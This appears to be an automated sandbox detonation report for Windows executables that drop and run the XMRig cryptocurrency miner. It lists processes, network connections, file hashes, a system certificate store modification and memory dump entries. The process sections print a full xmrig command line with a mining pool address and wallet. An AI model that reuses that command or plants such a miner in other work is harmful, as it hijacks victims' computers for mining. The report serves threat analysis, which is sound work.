
Submitted

2024-06-14 00:42

Reported

2024-06-14 01:34

Platform

win10v2004-20240611-en

Max time kernel

1793s

Max time network

1805s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (4).exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (4).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (4).exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4116,i,11749492925348081608,8895412282206755658,262144 --variations-seed-version --mojo-platform-channel-handle=4036 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4944,i,11749492925348081608,8895412282206755658,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 6.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:80 pool.hashvault.pro tcp
US 8.8.8.8:53 203.241.179.95.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 24.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 105.193.132.51.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/3644-14-0x000001E4404F0000-0x000001E440510000-memory.dmp

memory/3644-15-0x000001E440530000-0x000001E440550000-memory.dmp

memory/3644-16-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-19-0x000001E441D00000-0x000001E441D20000-memory.dmp

memory/3644-18-0x000001E441D20000-0x000001E441D40000-memory.dmp

memory/3644-17-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-20-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-21-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-23-0x000001E441D00000-0x000001E441D20000-memory.dmp

memory/3644-22-0x000001E441D20000-0x000001E441D40000-memory.dmp

memory/3644-24-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-25-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-26-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-27-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-28-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-29-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-30-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-31-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-32-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-33-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-34-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-35-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-36-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-37-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-38-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-39-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-40-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-41-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-42-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-43-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-44-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-45-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-46-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-47-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-48-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-49-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-50-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-51-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-52-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-53-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-54-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-55-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-56-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-57-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-58-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-59-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-60-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-61-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-62-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-63-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-64-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-65-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-66-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-67-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-68-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-69-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-70-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-71-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-72-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-73-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-74-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-75-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-76-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-77-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-78-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-79-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-80-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-81-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

memory/3644-82-0x00007FF6244F0000-0x00007FF624FF3000-memory.dmp

Analysis: behavioral11

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:37

Platform

win10v2004-20240508-en

Max time kernel

1617s

Max time network

1629s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (6).exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (6).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (6).exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp

Files

N/A

Analysis: behavioral14

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:41

Platform

win10v2004-20240226-en

Max time kernel

1798s

Max time network

1802s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (8) - Copy.exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main - Copy (8) - Copy.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (8) - Copy.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (8) - Copy.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\svchost.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (8) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (8) - Copy.exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1028 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2272 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k UnistackSvcGroup

Network

Country Destination Domain Proto
GB 172.217.169.74:443 tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 10.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:80 pool.hashvault.pro tcp
US 8.8.8.8:53 203.241.179.95.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 6.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 37.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.179.89.13.in-addr.arpa udp
US 138.91.171.81:80 tcp
US 8.8.8.8:53 76.234.34.23.in-addr.arpa udp
US 8.8.8.8:53 www.microsoft.com udp
BE 104.90.25.175:80 www.microsoft.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 175.25.90.104.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 206.221.208.4.in-addr.arpa udp
US 8.8.8.8:53 163.233.34.23.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 147.25.90.104.in-addr.arpa udp
US 8.8.8.8:53 67.32.209.4.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 35.15.31.184.in-addr.arpa udp
US 8.8.8.8:53 35.43.201.23.in-addr.arpa udp
US 8.8.8.8:53 217.14.97.104.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 41.43.201.23.in-addr.arpa udp
US 8.8.8.8:53 57.15.31.184.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/836-16-0x000001C9B9670000-0x000001C9B9690000-memory.dmp

memory/836-17-0x000001C9BAE70000-0x000001C9BAE90000-memory.dmp

memory/836-18-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-19-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-21-0x000001C9BAEB0000-0x000001C9BAED0000-memory.dmp

memory/836-20-0x000001C9BAE90000-0x000001C9BAEB0000-memory.dmp

memory/836-22-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-23-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-24-0x000001C9BAE90000-0x000001C9BAEB0000-memory.dmp

memory/836-25-0x000001C9BAEB0000-0x000001C9BAED0000-memory.dmp

memory/836-26-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-27-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-28-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-29-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-30-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-31-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-32-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-33-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-34-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-35-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-36-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-37-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-38-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-39-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-40-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-41-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-42-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-43-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-44-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-45-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-46-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-47-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-48-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-49-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-50-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-51-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-52-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-53-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-54-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-55-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-56-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-57-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-58-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-59-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-60-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-61-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-62-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-63-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-64-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

memory/836-65-0x00007FF7E35C0000-0x00007FF7E40C3000-memory.dmp

